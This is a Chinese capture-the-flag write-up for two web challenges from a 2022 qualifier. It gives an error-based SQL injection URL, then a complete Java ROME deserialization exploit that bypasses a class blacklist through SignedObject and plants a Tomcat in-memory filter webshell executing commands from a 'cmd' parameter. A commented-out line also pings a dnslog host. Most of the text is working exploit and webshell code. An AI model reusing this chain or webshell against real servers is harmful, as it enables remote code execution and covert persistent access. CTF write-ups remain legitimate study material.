2022 长城杯 线上预选赛 部分题解

没啥有意思的题,纯记录。

Web

djangogogo

有手就行的注入。

1
GET /?name=month%20FROM%20purchase_date))union%20select20updatexml(1,substr(concat('~',(select20*20from20(select20concat_ws(',',flag)20from20FLAG20limit200,1)20a)),10,40),0),2,3,4;-- 

b4bycoffee

pom.xml如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.2</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>b4bycoffee</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>b4bycoffee</name>
<description>b4bycoffee</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.json</groupId>
<artifactId>json</artifactId>
<version>20220320</version>
</dependency>
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

coffeeController的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.b4bycoffee.controller;

import com.example.b4bycoffee.model.CoffeeRequest;
import com.example.b4bycoffee.model.Message;
import com.example.b4bycoffee.model.Venti;
import com.example.b4bycoffee.tools.AntObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Base64;
import javax.naming.ConfigurationException;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class coffeeController {
public coffeeController() {
}

@RequestMapping({"/b4by/coffee"})
public Message order(@RequestBody CoffeeRequest coffee) throws IOException, ClassNotFoundException, ConfigurationException {
if (coffee.Venti != null) {
InputStream inputStream = new ByteArrayInputStream(Base64.getDecoder().decode(coffee.Venti));
AntObjectInputStream antInputStream = new AntObjectInputStream(inputStream);
Venti venti = (Venti)antInputStream.readObject();
return new Message(200, venti.getcoffeeName());
} else if (coffee.espresso > 0.5) {
return new Message(200, "DOPPIO");
} else if (coffee.hotWater > 0.5) {
return new Message(200, "AMERICANO");
} else if (coffee.milkFoam > 0.0 && coffee.steamMilk > 0.0) {
return coffee.steamMilk > coffee.milkFoam ? new Message(200, "CAPPUCCINO") : new Message(200, "Latte");
} else {
return coffee.espresso > 0.0 ? new Message(200, "Espresso") : new Message(200, "empty");
}
}
}

AntObjectInputStream的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.b4bycoffee.tools;

import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.ArrayList;
import java.util.List;
import javax.management.BadAttributeValueExpException;

public class AntObjectInputStream extends ObjectInputStream {
private List<String> list = new ArrayList();

public AntObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
this.list.add(BadAttributeValueExpException.class.getName());
this.list.add(ObjectBean.class.getName());
this.list.add(ToStringBean.class.getName());
this.list.add(TemplatesImpl.class.getName());
this.list.add(Runtime.class.getName());
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (this.list.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
} else {
return super.resolveClass(desc);
}
}
}

根据提示,推测是Rome反序列化,二次反序列化绕过resolveClass,打了一下发现不出网,找了个内存马缝了一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
import com.rometools.rome.feed.impl.EqualsBean;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class ROME {

public static Hashtable getPayload(Class clazz, Object payloadObj) throws Exception {
EqualsBean bean = new EqualsBean(String.class, "s");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", payloadObj);
map2.put("zZ", bean);
map2.put("yy", payloadObj);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
setFieldValue(bean, "beanClass", clazz);
setFieldValue(bean, "obj", payloadObj);
return table;
}

public static void main(String[] args) throws Exception {
// 字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.get(TomcatInject.class.getName());

// String cmd = "java.lang.Runtime.getRuntime().exec(\"ping ocdpeh.dnslog.cn\");";
// cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

// CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][] {classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

Hashtable table1 = getPayload(Templates.class, templates);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject =
new SignedObject(table1, kp.getPrivate(), Signature.getInstance("DSA"));

Hashtable table2 = getPayload(SignedObject.class, signedObject);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(table2);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value)
throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static class TomcatInject extends AbstractTranslet implements Filter {

private static final String filterUrlPattern = "/*";
private static final String filterName = "KpLi0rn";

static {
try {
ServletContext servletContext = getServletContext();
if (servletContext != null) {
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);

if (standardContext != null) {
// 这样设置不会抛出报错
Field stateField =
org.apache.catalina.util.LifecycleBase.class.getDeclaredField(
"state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);

Filter myFilter = new TomcatInject();
// 调用 doFilter 来动态添加我们的 Filter
// 这里也可以利用反射来添加我们的 Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration =
servletContext.addFilter(filterName, myFilter);

// 进行一些简单的设置
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
// 设置基本的 url pattern
filterRegistration.addMappingForUrlPatterns(
java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),
false,
new String[] {"/*"});

// 将服务重新修改回来,不然的话服务会无法正常进行
if (stateField != null) {
stateField.set(
standardContext, org.apache.catalina.LifecycleState.STARTED);
}

// 在设置之后我们需要 调用 filterstart
if (standardContext != null) {
// 设置filter之后调用 filterstart 来启动我们的 filter
Method filterStartMethod =
StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);

/** 将我们的 filtermap 插入到最前面 */
Class ccc = null;
try {
ccc =
Class.forName(
"org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t) {
}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t) {
}
}
// 把filter插到第一位
Method m =
Class.forName("org.apache.catalina.core.StandardContext")
.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
}

} catch (Exception e) {
e.printStackTrace();
}
}

// webshell命令参数名
private final String cmdParamName = "cmd";

private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
// shell注入,前提需要能拿到request、response等
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
// 不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
// 如果不能去到request,则换一种方式尝试获取

// spring获取法1
if (servletRequest == null) {
try {
c =
Class.forName(
"org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c =
Class.forName(
"org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {
}
}
if (servletRequest != null) return servletRequest.getServletContext();

// spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {
}
return null;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {}

@Override
public void init(FilterConfig filterConfig) throws ServletException {}

@Override
public void doFilter(
ServletRequest servletRequest,
ServletResponse servletResponse,
FilterChain filterChain)
throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader =
new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {}
}
}

Refer

Tomcat 内存马学习(二):结合反序列化注入内存马 – 天下大木头

反序列化篇之ROME - Longlone's Blog